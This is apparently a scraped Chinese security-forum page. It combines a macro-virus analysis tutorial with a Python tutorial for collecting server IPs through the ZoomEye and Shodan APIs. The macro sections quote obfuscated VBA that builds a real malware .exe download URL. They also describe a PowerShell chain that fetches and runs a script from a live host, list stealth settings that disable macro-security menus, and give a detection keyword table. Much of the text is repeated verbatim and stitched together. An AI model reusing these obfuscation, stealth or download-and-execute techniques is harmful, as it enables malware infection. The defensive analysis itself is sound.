上列代码使用了大量的Chr函数,看似很复杂,实际上就只是一串字符串“ht=tp:/;/chateau-d<es-iles.=com/,4tf33w/<w4t453.;e=xe”。

Nrh1INh1S5hGed字符串看着很像一个链接,但是中间多了几个字符,其实处理起来很简单,只要将多余字符删掉就好。

将这串字符串命名为Nrh1INh1S5hGed也是为了混淆,但是对于宏病毒分析人员来说,这种混淆并没有增加分析难度,分析人员只需要 全选–查找–替换。

Chr()函数还可以利用表达式,增加技术人员的分析难度:

Ndjs = Sgn(Asc(317 – 433) + 105)     

ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8)

经过分析发现,上述代码的字符串是:“http://”

4.4.2. Replace()函数

Replace函数的作用就是替换字符串,返回一个新字符串,其中某个指定的子串被另一个子串替换。

承接上文,把Nrh1INh1S5hGed中多余字符去掉,这里使用Replace函数把多余字符替换为空。

Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed,

                Chr(60), “”), Chr(61), “”), Chr(59), “”)

处理之后:

Nrh1INh1S5hGed=“http://chateau-des-iles.com/4tf33w/w4t453.exe

可以很清晰看出Nrh1INh1S5hGed是一个下载名为w4t453可执行文件的链接。可以猜测w4t453.exe是一个恶意程序,之后一定会执行w4t453.exe。在用户一无所知的情况下,宏已经完成了入侵工作。

2.4.3. CallByname 函数CallByname函数允许使用一个字符串在运行时指定一个属性或方法。

CallByName 函数的用法如下:
Result = CallByName(Object, ProcedureName, CallType, Arguments())

CallByName 的第一个参数包含要对其执行动作的对象名。第二个参数,ProcedureName,是一个字符串,包含将要调用的方法或属性过程名。CallType 参数包含一个常数,代表要调用的过程的类型:方法 (vbMethod)、property let (vbLet)、property get (vbGet),或 property set (vbSet)。最后一个参数是可选的,它包含一个变量数组,数组中包含该过程的参数。

例如:CallByName Text1, “Move”, vbMethod, 100, 100就相当于执行Text1.Move(100,10) 这种隐藏的函数执行增加了分析的难度。

CallByName的作用不仅仅在此,在下面的这个例子中,利用callByName,可以用脚本控制控件:

Dim obj As Object[/align]        Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       CallByName obj, "Size", VbLet, 50
     '以上代码="Me.Text1.Font.Size = 50"
      Dim obj As Object
       Dim V As String
       Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       V = CallByName(obj, "Size", VbGet)
       '以上代码="V = Me.Text1.Font.Size"

4.4.4. Alias替换函数名

Alias子句是一个可选的部分,用户可以通过它所标识的别名对动态库中的函数进行引用。

Public Declare Function clothed Lib “user32″ Alias “GetUpdateRect” (prestigiation As Long, knightia As Long, otoscope As Long) As Boolean

如上例所示,clothed作为GetUpdateRect的别名,调用clothed函数相当于调用user32库里的GetUpdateRect函数。

事实上喜欢使用别名的不仅仅是宏病毒制造者,普通的宏程序员也喜欢使用别名。使用别名的好处是比较明显的,一方面Visual Basic不允许调用以下划线为前缀的函数,然而在Win32 API函数中有大量C开发的函数可能以下划线开始。使用别名可以绕过这个限制。另外使用别名有利于用户命名标准统一。对于一些大小写敏感的函数名,使用别名可以改变函数的大小写。

2.4.5. 利用窗体、控件隐藏信息

控件在宏程序里很常见,有些宏病毒的制造者们便想到利用控件隐藏危险字符串。

图片.png

如图所示,空间里存放着关键字符串,程序用到上述字符串时,只需要调用标签控件的caption属性。

图片.png

控件的各个属性(name、caption、controtiptext、等)都可以成为危险字符串的藏身之所。而仅仅查看宏代码,分析者无法得知这些字符串内容,分析者必须进入编辑器查看窗体属性,这大大增加了分析的难度。

2.4.6. 利用文件属性这种方式和利用窗体属性的方式类似,就是将一切能存储数据的地方利用起来。

如图所示读取的是ActiveDocument.BuiltinDocumentProperties Comments的数据,实际上就是文件备注信息里的数据,将这里的数据Base64解密并执行。

图片.png

图片.png

2.5. 恶意行为字符串不同的宏病毒执行不同的恶意行为,但这些恶意行为是类似的,它们使用的代码往往是相似的。通过大量的样本分析,笔者总结了一些宏病毒执行危险操作时代码中含有的字符串,详见下表:

字符串 描述
http URL连接
CallByName 允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数
Powershell 可以执行脚本,运行.exe文件,可以执行base64的命令
Winmgmts WinMgmt.exe是Windows管理服务,可以创建windows管理脚本
Wscript 可以执行脚本命令
Shell 可以执行脚本命令
Environment 宏病毒用于获取系统环境变量
Adodb.stream 用于处理二进制数据流或文本流
Savetofile 结合Adodb.stream用于文件修改后保存
MSXML2 能够启动网络服务
XMLHTTP 能够启动网络服务
Application.Run 可以运行.exe文件
Download 文件下载
Write 文件写入
Get http中get请求
Post http中post请求
Response http中认识response回复
Net 网络服务
WebClient 网络服务
Temp 常被宏病毒用于获取临时文件夹
Process 启动进程
Cmd 执行控制台命令
createObject 宏病毒常用于创建进行危险行为的对象
Comspec %ComSpec%一般指向你cmd.exe的路径

5. 宏病毒的防御手段

安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,当然也适用于宏病毒,除此这些常规手段之外,宏病毒还有专门的防治措施。

5.1. 禁用宏

由于宏病毒的肆虐,Microsoft不得不在Office办公软件中提供了禁止宏的功能,用户只需要将其打开激活即可再次运行宏。以word2013为例,禁用宏的方法是:单击开发工具菜单下的“宏”,单击“宏安全性”,在随后的出现的对话框中选择“禁用所有宏,并发出通知”,如图所示:

图片.png

这个方法一度被认为能防住所有的宏病毒,但是总会有0day能够绕过宏防护,禁用宏对于利用漏洞绕过宏禁用功能的宏病毒,仍然无能为力。

而且禁用宏功能还有两个很大的缺陷:一是它拒绝了一切的宏执行,并不区分正常的宏和还是病毒宏,这会造成某些文档无法打开或出错;二是宏病毒防护无法阻止启动word时Autoexec.DOT中的宏和Normal.DOT中的宏自动执行。

5.2越过自动宏

如果怀疑文档中存在宏病毒,可以在Office打开文档的时候,始终按住SHift键,将禁止存在的一起自动宏。这和禁用宏有异曲同工之妙,Shift键可以在退出时禁止任何AutoClose宏。这种方法的缺陷也很明显,它只能对付一时,当宏病毒利用其它菜单选项来实现破坏活动,这种方法就不再有效。

5.3恢复被宏病毒破坏的文档

对于普通用户来说,清理宏病毒显得麻烦,因为文档被宏病毒感染后(实际上是文档使用的模板文档被感染),使用文档时常常会出现一些异常情况,即使用杀毒软件将所有带毒的文档文件都处理一遍,但是,当重新打开它们时病毒又出现了。有些用户采用的是将Office卸载重装,但是有时候问题还是没有被解决。

其实,对于宏病毒的清理并不难,下面以删除Word宏病毒为例分步骤详细说明:

① 退出Word程序,先查看系统盘根目录下是否存在Autoexec.DOT文件,如果存在,而又不知道它是什么时候出现,则将其删除。

② 然后找到Normal.DOT文件,一般位于C:\Documents and Settings\ Administrator\Application Data\Microsoft\Templates目录下,用先前干净的备份将其替换,也可以直接删除,Word不会因为找不到Normal.DOT而拒绝启动,它会自动重新生成一个干净的没有任何外来宏的Noraml.DOT。

③ 查看Noraml.DOT所在的目录中是否存在其他模板文件,如果存在且不是自己复制进去的,将其删除。

④ 重新启动Word程序,查看Word是否恢复正常了。

⑤ 最后检查宏病毒防护是否被启用了,某些病毒会自动禁用宏病毒防护功能,如果不启用禁用宏功能,Word会很快再次被病毒感染。

>>>>>>  黑客入门必备技能  带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~

本文作者:i春秋作家——icq5f7a075d

宏病毒专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=133

3. 宏病毒实例分析

3.1 实例1

接下来,我将以demo2.doc为例,实例分析宏病毒,demo2是一个真实的宏病毒,请在虚拟机中分析。

打开demo2.doc,发现弹出了“安全警告”,文本中内容提示用户要点击“启用内容”才能看到文件内容,实际上这里是社会工程学攻击,用户单击“启用内容”就会运行宏,并感染病毒:

图片.png

ALT+F11打开VBA编辑器,查看宏代码。但是你会发现,此时工程里没有数据,这是因为我们没有单击“启用内容”,VBA工程还没有加载。

单击“启用内容”,这个时候宏就已经运行了,再次查看VBA编辑器,弹出了要求输入密码的对话框。除了输入密码,我们不能看到其他信息,看来这段宏被加密了,接下来我们就要祭出神器VBA_Password_Bypasser进行解密了。

图片.png

关闭demo2.doc        ,使用VBA_Password_Bypasser重新打开demo2.doc,再次打开VBA编辑器查看宏代码,宏代码一览无余:

图片.png

这段宏首先拼接了一段字符串CGJKIYRSDGHJHGFFG,这段字符串是一段命令,接下来就调用Shell() ,执行这段命令。

但是CGJKIYRSDGHJHGFFG的内容经过混淆,我们没办法一眼看出执行了什么命令,我们可以改造宏代码,使用Msgbox将CGJKIYRSDGHJHGFFG这段命令打印出来:

图片.png

现在就一目了然了,这段cmd命令执行了两段powershell命令,第一段powershell命令是从’http://skycpa.in/file.php‘中下载文件,并另存为’%TEMP%\Y.ps1′,第二段powershell命令就是执行Y.ps1,关于Y.ps1的分析不属于宏病毒的范畴,这里就不做分析了。

3.2 oledump.py

在之前的分析中,我们先启用宏,然后打开VBA编辑器分析宏代码。这个时候我们不仅可以直观的看到宏代码,还可以动态调试。但是,我们选择启用宏后,宏代码就会运行,如果存在恶意行为,恶意行为就会执行。这样的分析方式存在一定的风险,那么,有没有一种方式,不运行宏就能查看宏代码呢?当然有,那就是oledump.py(https://github.com/decalage2/oledump-contrib)。

oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。其查找基于二进制文件格式的文件中的内容的流程:

  1.读取文件流。

  2.识别可能包含要查找的内容的结构。

  3.通过第一个结构,找到下一节的位置。

  4.在流中转到该节。

  5.重复前面两个步骤,直到找到所需的内容。

  6.读取并分析内容。

接下来我们简单介绍一下oledump的使用,我们依然以demo2为例进行介绍:

运行:

python oledump.py  demo2.doc

图片.png

这是oledump对doc文件的最基础的分析,显示了这个文件的Stream数据(在接下来的章节中我们会进行介绍Stream),一共包含5段,其中A3这一段数据上标记了字母‘M’,表示这段数据中含有VBA宏(Macro)。

oledump.py有许多参数可以选择,使用oledump.py -m 可以查看oledump.py 的帮助信息,这里我们要用到的参数是-s和-v

-s 段号:选择上分析出的某一段来查看内容

-v     :解压缩VBA宏

上面两个参数结合起来用就可以找出宏源码:

python oledump.py -s A3 -v demo2.doc

图片.png

可以看到宏代码被解析出来了。

在实际分析时,-s后的参数可以选择‘a’,表示分析所有段的数据,还可以使用‘>’符号将宏代码数据存储在新文件中:

图片.png

最后,再介绍一下 decoder_ay.py和-d参数,它可以将文件中的exe数据dump下来。有一些文档宏存储了exe数据,这个时候我们就可以使用下列命令,将文档中的exe数据导出:

python oledump.py -s 14  -D decoder_ay.py -d 1.doc  >1.exe

如果我们只是想dump某一段数据,而不关心是不是exe数据,使用如下命令:

Oledump.py -s 段名 -d 文件名 >新文件名

4. 宏病毒的分析技巧

4.1. 自动执行

宏病毒分析的第一步是定位自动执行入口。

宏病毒具有自动执行的特性,特别是含有AutoOpen的宏,一旦用户打开含有宏的文档,其中的宏就会被执行,而用户一无所知。

宏病毒的激发机制有三种:利用自动运行的宏,修改Word命令和利用Document对象的事件。

宏病毒中常用的自动执行方法有两种:一种是用户执行某种操作时自动执行的宏,如Sub botton(),当用户单击文档中的按钮控件时,宏自动执行;另一种则是Auto自动执行,如Sub AutoOpen()和Sub AutoClose(),分别在文档打开和关闭时自动执行。

4.2. 隐秘执行

宏病毒利用几行代码就可以实现隐秘,下列代码是从宏病毒样本1(MD5:f849544803995b98342415dd2e67180c)中提取的代码片段,宏病毒通过阻止弹出各类提示,防止用户发现宏正在运行来实现自我隐藏:

On Error Resume Next             ‘如果发生错误,不弹出错误对话框

Application.DisplayStatusBar = False  ’进制显示状态栏

Options.SaveNormalPrompt = False    ‘修改公用模板时自动保存,不弹出提示

宏病毒自我隐藏还有一种方式,那就是屏蔽菜单按钮和快捷键,普通用户即使猜测到有宏正在运行,也无法取消正在执行中的宏,查看宏信息。

下表是笔者总结的宏病毒采取的隐蔽执行的一些措施:

代码 措施
On Error Resume Next 如果发生错误,不弹出错误对话框
Application.DisplayStatusBar = False 不显示状态栏,避免显示宏的运行状态
Options.SaveNormalPrompt = False 修改公用模板时在后台自动保存,不给任何提示
EnableCancelKey = wdCancelDisabled 使不可以通过ESC键取消正在执行的宏
Application.ScreenUpdating = 0 不让屏幕更新,让病毒执行时不影响计算机速度
Application.DisplayAlerts = wdAlertsNone 不让Excel弹出报警信息
CommandBars(“Tools”).Controls(“Macro”).Enabled = 0 屏蔽工具菜单中的“宏”按钮
CommandBars(“Macro”).Controls(“Security”).Enabled = 0 屏蔽宏菜单的“安全性”
CommandBars(“Macro”).Controls(“Macros”).Enabled = 0 屏蔽宏菜单的“宏”
CommandBars(“Tools”).Controls(“Customize”).Enabled = 0 屏蔽工具菜单的“自定义”
CommandBars(“View”).Controls(“Toolbars”).Enabled = 0 屏蔽视图宏菜单的“工具栏”
CommandBars(“format”).Controls(“Object”).Enabled = 0 屏蔽格式菜单的“对象”

4.3. 调用外部例程和命令执行

宏病毒的强大主要来自与对Windows API和外部例程的调用,通过对大量样本的分析,本文总结出一张宏病毒调用的外部例程表。

外部例程 介绍
MSXML2.ServerXMLHTTP Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求
Net.WebClient 提供网络服务
Adodb.Stream Stream 流对象用于表示数据流。配合XMLHTTP服务使用Stream对象可以从网站上下载各种可执行程序
Wscript.shell WScript.Shell是WshShell对象的ProgID,创建WshShell对象可以运行程序、操作注册表、创建快捷方式、访问系统文件夹、管理环境变量。
Poweshell PowerShell.exe 是微软提供的一种命令行shell程序和脚本环境
Application.Run 调用该函数,可以运行.exe文件
WMI 用户可以利用 WMI 管理计算机,在宏病毒中主要通过winmgmts:\\.\root\CIMV2隐藏启动进程
Shell.Application 能够执行sehll命令

如图所示,使用Wscript.shell实现命令执行功能:

图片.png

上表中Wscript.shell、Poweshell、Application.Run、Shell.Application这些外部例程都可以用来执行命令,除此之外,一些API如:Shell( )、CallWindowProc( )也常用于执行命令。

4.4. 字符串隐写

宏病毒分析比较简单,这是因为任何能执行宏的用户都能查看宏源码,分析人员轻而易举就分析出宏病毒的行为。通过扫描宏中特征字符串,杀软也很容易检测出宏病毒。宏病毒的开发者们便想尽办法隐藏这些特征字符串,下面本文就对宏病毒中这些字符串的隐写方式进行分析。

4.4.1. Chr()函数

Chr(),返回以数值表达式值为编码的字符(例如:Chr(70)返回字符‘F’)。

使用Chr函数是最常见的字符串隐写技术,利用ascii码,逃避字符串扫描。

如下列代码:

Nrh1INh1S5hGed = “h” & Chr(116) & Chr(61) & “t” & Chr(112) &Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) & Chr(104) & Chr(97) & “t” & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) & Chr(45) & Chr(105) & Chr(108) & “e” & Chr(115) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & “4″ & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(61) & Chr(120) & Chr(101)

上列代码使用了大量的Chr函数,看似很复杂,实际上就只是一串字符串“ht=tp:/;/chateau-d<es-iles.=com/,4tf33w/<w4t453.;e=xe”。

Nrh1INh1S5hGed字符串看着很像一个链接,但是中间多了几个字符,其实处理起来很简单,只要将多余字符删掉就好。

将这串字符串命名为Nrh1INh1S5hGed也是为了混淆,但是对于宏病毒分析人员来说,这种混淆并没有增加分析难度,分析人员只需要 全选–查找–替换。

Chr()函数还可以利用表达式,增加技术人员的分析难度:

Ndjs = Sgn(Asc(317 – 433) + 105)     

ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8)

经过分析发现,上述代码的字符串是:“http://”

4.4.2. Replace()函数

Replace函数的作用就是替换字符串,返回一个新字符串,其中某个指定的子串被另一个子串替换。

承接上文,把Nrh1INh1S5hGed中多余字符去掉,这里使用Replace函数把多余字符替换为空。

Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed,

                Chr(60), “”), Chr(61), “”), Chr(59), “”)

处理之后:

Nrh1INh1S5hGed=“http://chateau-des-iles.com/4tf33w/w4t453.exe

可以很清晰看出Nrh1INh1S5hGed是一个下载名为w4t453可执行文件的链接。可以猜测w4t453.exe是一个恶意程序,之后一定会执行w4t453.exe。在用户一无所知的情况下,宏已经完成了入侵工作。

2.4.3. CallByname 函数CallByname函数允许使用一个字符串在运行时指定一个属性或方法。

CallByName 函数的用法如下:
Result = CallByName(Object, ProcedureName, CallType, Arguments())

CallByName 的第一个参数包含要对其执行动作的对象名。第二个参数,ProcedureName,是一个字符串,包含将要调用的方法或属性过程名。CallType 参数包含一个常数,代表要调用的过程的类型:方法 (vbMethod)、property let (vbLet)、property get (vbGet),或 property set (vbSet)。最后一个参数是可选的,它包含一个变量数组,数组中包含该过程的参数。

例如:CallByName Text1, “Move”, vbMethod, 100, 100就相当于执行Text1.Move(100,10) 这种隐藏的函数执行增加了分析的难度。

CallByName的作用不仅仅在此,在下面的这个例子中,利用callByName,可以用脚本控制控件:

Dim obj As Object[/align]        Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       CallByName obj, "Size", VbLet, 50
     '以上代码="Me.Text1.Font.Size = 50"
      Dim obj As Object
       Dim V As String
       Set obj = Me
       Set obj = CallByName(obj, "Text1", VbGet)
       Set obj = CallByName(obj, "Font", VbGet)
       V = CallByName(obj, "Size", VbGet)
       '以上代码="V = Me.Text1.Font.Size"

4.4.4. Alias替换函数名

Alias子句是一个可选的部分,用户可以通过它所标识的别名对动态库中的函数进行引用。

Public Declare Function clothed Lib “user32″ Alias “GetUpdateRect” (prestigiation As Long, knightia As Long, otoscope As Long) As Boolean

如上例所示,clothed作为GetUpdateRect的别名,调用clothed函数相当于调用user32库里的GetUpdateRect函数。

事实上喜欢使用别名的不仅仅是宏病毒制造者,普通的宏程序员也喜欢使用别名。使用别名的好处是比较明显的,一方面Visual Basic不允许调用以下划线为前缀的函数,然而在Win32 API函数中有大量C开发的函数可能以下划线开始。使用别名可以绕过这个限制。另外使用别名有利于用户命名标准统一。对于一些大小写敏感的函数名,使用别名可以改变函数的大小写。

2.4.5. 利用窗体、控件隐藏信息

控件在宏程序里很常见,有些宏病毒的制造者们便想到利用控件隐藏危险字符串。

图片.png

如图所示,空间里存放着关键字符串,程序用到上述字符串时,只需要调用标签控件的caption属性。

图片.png

控件的各个属性(name、caption、controtiptext、等)都可以成为危险字符串的藏身之所。而仅仅查看宏代码,分析者无法得知这些字符串内容,分析者必须进入编辑器查看窗体属性,这大大增加了分析的难度。

2.4.6. 利用文件属性这种方式和利用窗体属性的方式类似,就是将一切能存储数据的地方利用起来。

如图所示读取的是ActiveDocument.BuiltinDocumentProperties Comments的数据,实际上就是文件备注信息里的数据,将这里的数据Base64解密并执行。

图片.png

图片.png

2.5. 恶意行为字符串不同的宏病毒执行不同的恶意行为,但这些恶意行为是类似的,它们使用的代码往往是相似的。通过大量的样本分析,笔者总结了一些宏病毒执行危险操作时代码中含有的字符串,详见下表:

字符串 描述
http URL连接
CallByName 允许使用一个字符串在运行时指定一个属性或方法,许多宏病毒使用CallByName执行危险函数
Powershell 可以执行脚本,运行.exe文件,可以执行base64的命令
Winmgmts WinMgmt.exe是Windows管理服务,可以创建windows管理脚本
Wscript 可以执行脚本命令
Shell 可以执行脚本命令
Environment 宏病毒用于获取系统环境变量
Adodb.stream 用于处理二进制数据流或文本流
Savetofile 结合Adodb.stream用于文件修改后保存
MSXML2 能够启动网络服务
XMLHTTP 能够启动网络服务
Application.Run 可以运行.exe文件
Download 文件下载
Write 文件写入
Get http中get请求
Post http中post请求
Response http中认识response回复
Net 网络服务
WebClient 网络服务
Temp 常被宏病毒用于获取临时文件夹
Process 启动进程
Cmd 执行控制台命令
createObject 宏病毒常用于创建进行危险行为的对象
Comspec %ComSpec%一般指向你cmd.exe的路径

5. 宏病毒的防御手段

安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,当然也适用于宏病毒,除此这些常规手段之外,宏病毒还有专门的防治措施。

5.1. 禁用宏

由于宏病毒的肆虐,Microsoft不得不在Office办公软件中提供了禁止宏的功能,用户只需要将其打开激活即可再次运行宏。以word2013为例,禁用宏的方法是:单击开发工具菜单下的“宏”,单击“宏安全性”,在随后的出现的对话框中选择“禁用所有宏,并发出通知”,如图所示:

图片.png

这个方法一度被认为能防住所有的宏病毒,但是总会有0day能够绕过宏防护,禁用宏对于利用漏洞绕过宏禁用功能的宏病毒,仍然无能为力。

而且禁用宏功能还有两个很大的缺陷:一是它拒绝了一切的宏执行,并不区分正常的宏和还是病毒宏,这会造成某些文档无法打开或出错;二是宏病毒防护无法阻止启动word时Autoexec.DOT中的宏和Normal.DOT中的宏自动执行。

5.2越过自动宏

如果怀疑文档中存在宏病毒,可以在Office打开文档的时候,始终按住SHift键,将禁止存在的一起自动宏。这和禁用宏有异曲同工之妙,Shift键可以在退出时禁止任何AutoClose宏。这种方法的缺陷也很明显,它只能对付一时,当宏病毒利用其它菜单选项来实现破坏活动,这种方法就不再有效。

5.3恢复被宏病毒破坏的文档

对于普通用户来说,清理宏病毒显得麻烦,因为文档被宏病毒感染后(实际上是文档使用的模板文档被感染),使用文档时常常会出现一些异常情况,即使用杀毒软件将所有带毒的文档文件都处理一遍,但是,当重新打开它们时病毒又出现了。有些用户采用的是将Office卸载重装,但是有时候问题还是没有被解决。

其实,对于宏病毒的清理并不难,下面以删除Word宏病毒为例分步骤详细说明:

① 退出Word程序,先查看系统盘根目录下是否存在Autoexec.DOT文件,如果存在,而又不知道它是什么时候出现,则将其删除。

② 然后找到Normal.DOT文件,一般位于C:\Documents and Settings\ Administrator\Application Data\Microsoft\Templates目录下,用先前干净的备份将其替换,也可以直接删除,Word不会因为找不到Normal.DOT而拒绝启动,它会自动重新生成一个干净的没有任何外来宏的Noraml.DOT。

③ 查看Noraml.DOT所在的目录中是否存在其他模板文件,如果存在且不是自己复制进去的,将其删除。

④ 重新启动Word程序,查看Word是否恢复正常了。

⑤ 最后检查宏病毒防护是否被启用了,某些病毒会自动禁用宏病毒防护功能,如果不启用禁用宏功能,Word会很快再次被病毒感染。

>>>>>>  黑客入门必备技能  带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~

本文作者:i春秋签约作家——阿甫哥哥

系列文章专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=137

0×01 目录

0×01 前言

0×02 ZoomEyeAPI脚本编写

0×03 ShoDanAPI脚本编写

0×04 简易BaiduURL采集脚本编写

0×05 【彩蛋篇】论坛自动签到脚本

0×02 ZoomEyeAPI脚本编写

ZoomEye是一款针对网络空间的搜索引擎,收录了互联网空间中的设备、网站及其使用的服务或组件等信息。
ZoomEye 拥有两大探测引擎:Xmap 和 Wmap,分别针对网络空间中的设备及网站, 通过 24 小时不间断的探测、识别,标识出互联网设备及网站所使用的服务及组件。 研究人员可以通过 ZoomEye 方便的了解组件的普及率及漏洞的危害范围等信息。
虽然被称为 “黑客友好” 的搜索引擎,但 ZoomEye 并不会主动对网络设备、网站发起攻击,收录的数据也仅用于安全研究。ZoomEye更像是互联网空间的一张航海图。

ZoomEyeAPI参考手册在这:ZoomEye API 参考手册
先登录,然后获取access_token

#-*- coding: UTF-8 -*-
 
import requests
import json
 
user = raw_input('[-] PLEASE INPUT YOUR USERNAME:')
passwd = raw_input('[-] PLEASE INPUT YOUR PASSWORD:')
 
def Login():
    data_info = {'username' : user,'password' : passwd}
    data_encoded = json.dumps(data_info) 
    respond = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded)
    try:
        r_decoded = json.loads(respond.text) 
        access_token = r_decoded['access_token']
    except KeyError:
        return '[-] INFO : USERNAME OR PASSWORD IS WRONG, PLEASE TRY AGAIN'
    return access_token
if __name__ == '__main__':
    print Login()

然后,API手册是这么写的,根据这个,咱们先写一个HOST的单页面采集的….

图片.png

#-*- coding: UTF-8 -*-
 
import requests
import json
 
user = raw_input('[-] PLEASE INPUT YOUR USERNAME:')
passwd = raw_input('[-] PLEASE INPUT YOUR PASSWORD:')
 
def Login():
    data_info = {'username' : user,'password' : passwd}
    data_encoded = json.dumps(data_info) 
    respond = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded)
    try:
        r_decoded = json.loads(respond.text) 
        access_token = r_decoded['access_token']
    except KeyError:
        return '[-] INFO : USERNAME OR PASSWORD IS WRONG, PLEASE TRY AGAIN'
    return access_token
def search():
    headers = {'Authorization': 'JWT ' + Login()}
    r = requests.get(url = 'https://api.zoomeye.org/host/search?query=tomcat&page=1',
                         headers = headers)
    response = json.loads(r.text)
    print response
if __name__ == '__main__':
    search()

返回的信息量极大啊,但它也是个JSON数据,SO,我们可以取出IP部分…

图片.png

for x in response['matches']:
        print x['ip']

之后,HOST的单页面采集也就OK了,WEB的也五五开,留着你们自己分析,其实差不多,后文会贴的

接下来,就是用FOR循环….获取多页的IP

#-*- coding: UTF-8 -*-
 
import requests
import json
 
def Login():
    data_info = {'username' : user,'password' : passwd}
    data_encoded = json.dumps(data_info) 
    respond = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded)
    try:
        r_decoded = json.loads(respond.text) 
        access_token = r_decoded['access_token']
    except KeyError:
        return '[-] INFO : USERNAME OR PASSWORD IS WRONG, PLEASE TRY AGAIN'
    return access_token
def search():
    headers = {'Authorization': 'JWT ' + Login()}
    for i in range(1,int(PAGECOUNT)):
        r = requests.get(url = 'https://api.zoomeye.org/host/search?query=tomcat&page='+str(i),
                         headers = headers)
        response = json.loads(r.text)
        for x in response['matches']:
            print x['ip']
if __name__ == '__main__':
    user = raw_input('[-] PLEASE INPUT YOUR USERNAME:')
    passwd = raw_input('[-] PLEASE INPUT YOUR PASSWORD:')
    PAGECOUNT = raw_input('[-] PLEASE INPUT YOUR SEARCH_PAGE_COUNT(eg:10):')
    search()

这样就取出了你想要的页码的数据,然后就是完善+美观代码了…..

#-*- coding: UTF-8 -*-
 
import requests
import json
 
def Login(user,passwd):
    data_info = {'username' : user,'password' : passwd}
    data_encoded = json.dumps(data_info) 
    respond = requests.post(url = 'https://api.zoomeye.org/user/login',data = data_encoded)
    try:
        r_decoded = json.loads(respond.text) 
        access_token = r_decoded['access_token']
    except KeyError:
        return '[-] INFO : USERNAME OR PASSWORD IS WRONG, PLEASE TRY AGAIN'
    return access_token
def search(queryType,queryStr,PAGECOUNT,user,passwd):
    headers = {'Authorization': 'JWT ' + Login(user,passwd)}
    for i in range(1,int(PAGECOUNT)):
        r = requests.get(url = 'https://api.zoomeye.org/'+ queryType +'/search?query='+queryStr+'&page=' + str(i),
                         headers = headers)
        response = json.loads(r.text)
        try:
            if queryType == "host":
                for x in response['matches']:
                    print x['ip']
            if queryType == "web":
                for x in response['matches']:
                    print x['ip'][0]
        except KeyError:
            print "[ERROR] No hosts found"
     
def main():
    print " _____                     _____           ____  "               
    print "|__  /___   ___  _ __ ___ | ____|   _  ___/ ___|  ___ __ _ _ __" 
    print "  / // _ \ / _ \| '_ ` _ \|  _|| | | |/ _ \___ \ / __/ _` | '_ \ "
    print " / /| (_) | (_) | | | | | | |__| |_| |  __/___) | (_| (_| | | | |"
    print "/____\___/ \___/|_| |_| |_|_____\__, |\___|____/ \___\__,_|_| |_|"
    print "                                |___/                            "
    user = raw_input('[-] PLEASE INPUT YOUR USERNAME:')
    passwd = raw_input('[-] PLEASE INPUT YOUR PASSWORD:')
    PAGECOUNT = raw_input('[-] PLEASE INPUT YOUR SEARCH_PAGE_COUNT(eg:10):')
    queryType = raw_input('[-] PLEASE INPUT YOUR SEARCH_TYPE(eg:web/host):')
    queryStr = raw_input('[-] PLEASE INPUT YOUR KEYWORD(eg:tomcat):')
    Login(user,passwd)
    search(queryType,queryStr,PAGECOUNT,user,passwd)
if __name__ == '__main__':
    main()

0×03 ShoDanAPI脚本编写

Shodan是互联网上最可怕的搜索引擎。
CNNMoney的一篇文章写道,虽然目前人们都认为谷歌是最强劲的搜索引擎,但Shodan才是互联网上最可怕的搜索引擎。
与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。
Shodan所搜集到的信息是极其惊人的。凡是链接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等等都会被轻易的搜索到。Shodan的使用者曾发现过一个水上公园的控制系统,一个加油站,甚至一个酒店的葡萄酒冷却器。而网站的研究者也曾使用Shodan定位到了核电站的指挥和控制系统及一个粒子回旋加速器。
Shodan真正值得注意的能力就是能找到几乎所有和互联网相关联的东西。而Shodan真正的可怕之处就是这些设备几乎都没有安装安全防御措施,其可以随意进入。

浅安dalao写过,介绍的也很详细…..

地址传送门:基于ShodanApi接口的调用python版

先说基于API查询。。。官方文档:http://shodan.readthedocs.io/en/latest/tutorial.html

每次查询要扣除1积分…..,而用shodan库模块不需要….

写个简单的,他跟Zoomeye的五五开,就不细写了…

#-*- coding: UTF-8 -*-
import requests
import json
 
def getip():
        API_KEY = *************
        url = 'https://api.shodan.io/shodan/host/search?key='+API_KEY+'&query=apache'
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'}
        req = requests.get(url=url,headers=headers)
        content = json.loads(req.text)
        for i in content['matches']:
                print i['ip_str']
